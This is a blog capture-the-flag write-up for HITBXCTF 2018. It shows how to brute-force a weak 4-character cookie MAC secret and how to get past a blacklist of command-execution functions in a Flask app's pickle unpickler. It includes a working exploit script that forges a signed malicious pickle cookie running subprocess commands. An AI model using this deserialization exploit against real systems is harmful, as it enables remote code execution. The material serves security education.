A box of chocolate

my public personal notebook

HITBXCTF 2018 Quals - Python's revenge

We are given a Python Flask webapp that allows us to store and retrieve a Python object. The app stores our secret with pickle in a cookie named location. To protect the cookie from malicious user modifications, a simple MAC scheme is implemented:

def getlocation():
    cookie = request.cookies.get('location')
    if not cookie:
        return ''
    (digest, location) = cookie.split("!")
    if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
        flash("Hey! This is not a valid cookie! Leave me alone.")
        return False
    location = loads(b64d(location))
    return location


def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)


def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()

The secret argument supplied is composed of 4 ascii_letters + digits characters.

if not os.path.exists('.secret'):
    with open(".secret", "w") as f:
        secret = ''.join(random.choice(string.ascii_letters + string.digits)
                         for x in range(4))
        f.write(secret)
with open(".secret", "r") as f:
    cookie_secret = f.read().strip()

This is not secure enough, and it could be easily guessed with the following code: (we posted some data and obtains a legit cookie for this)

def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()

alphabet = string.ascii_letters + string.digits
h = 'ff3490e001f087e91bce7332ef741f080dae51ab328aaf14bde6ee0da54818ce'
msg = 'VmFhYWEKcDAKLg=='

for s in itertools.product(alphabet, repeat=4):
    if calc_digest(msg, ''.join(s)) == h:
        print 'secret = ' + ''.join(s)
        break
else:
    print '[!] not found'

We retrieved the secret 'hitb'. Afterwards, during unpickling, the app installs a hook on the REDUCE method, which blacklists direct invocation of a lot of local command execution functions:

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

...
def _hook_call(func):
    def wrapper(*args, **kwargs):
        session['cnt'] += 1
        print session['cnt']
        print args[0].stack
        for i in args[0].stack:
            if i in black_type_list:
                raise FilterException(args[0].stack[-2])
            if session['cnt'] > 4:
                raise TimesException()
        return func(*args, **kwargs)
    return wrapper


def loads(strs):
    reload(pickle)
    files = StringIO(strs)
    unpkler = pickle.Unpickler(files)
    unpkler.dispatch[pickle.REDUCE] = _hook_call(
        unpkler.dispatch[pickle.REDUCE])
    return unpkler.load()

However, the hook function only compares unpickled method directly in the black list, therefore if we can indirectly call blacklisted functions it won't be effective. Let's do it with my favorite map function. The following code will generate a malicious cookie which can be used to run any blacklisted functions:

import itertools
from hashlib import sha256
import string
import subprocess
from base64 import b64encode as b64e
from pickle import dumps

def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()

'''
alphabet = string.ascii_letters + string.digits
h = 'ff3490e001f087e91bce7332ef741f080dae51ab328aaf14bde6ee0da54818ce'
msg = 'VmFhYWEKcDAKLg=='

for s in itertools.product(alphabet, repeat=4):
  if calc_digest(msg, ''.join(s)) == h:
      print 'secret = ' + ''.join(s)
      break
else:
  print '[!] not found'
'''

secret = 'hitb'

class Exploit(object):
    def __reduce__(self):
        return (map, (subprocess.check_output, [['/bin/cat', '/flag_is_here']]))

def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)

print make_cookie(b64e(dumps(Exploit())), secret)

The flag is HITB{Py5h0n1st8eBe3tNOW}.